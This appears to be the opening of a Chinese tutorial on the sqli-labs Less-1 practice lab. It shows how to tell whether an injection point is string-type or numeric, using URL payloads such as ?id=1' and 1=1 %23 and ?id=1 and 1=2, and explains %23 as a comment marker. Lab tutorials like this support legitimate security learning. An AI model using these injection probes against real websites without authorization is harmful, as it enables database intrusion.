sqli-labs page-1 less-1超精讲解

Sql注入相关的题，尤其看到提示要我们输入带参数的值时。

我们第一步要判断的是数据库语句语法数字型还是字符型。

字符型判断：

第一步：?id=1'（返回存在语法错误） 

第一步：?id=1' and 1=1 %23（有返回值）

第二部就：?id=2' and 1=2 %23（返回错误）

数字型判断：

第一步：?id=1（有返回值）

第二步：?id=1 and 1=1（有返回值）

第三步：?id=1 and 1=2（返回存在语法错误）

 一、?id=1'   （发现存在语法错误）

二、?id=1' and 1=1 %23   

 （注释：%23是ASCII表中#的对应值，和--+一样都起注释的意思）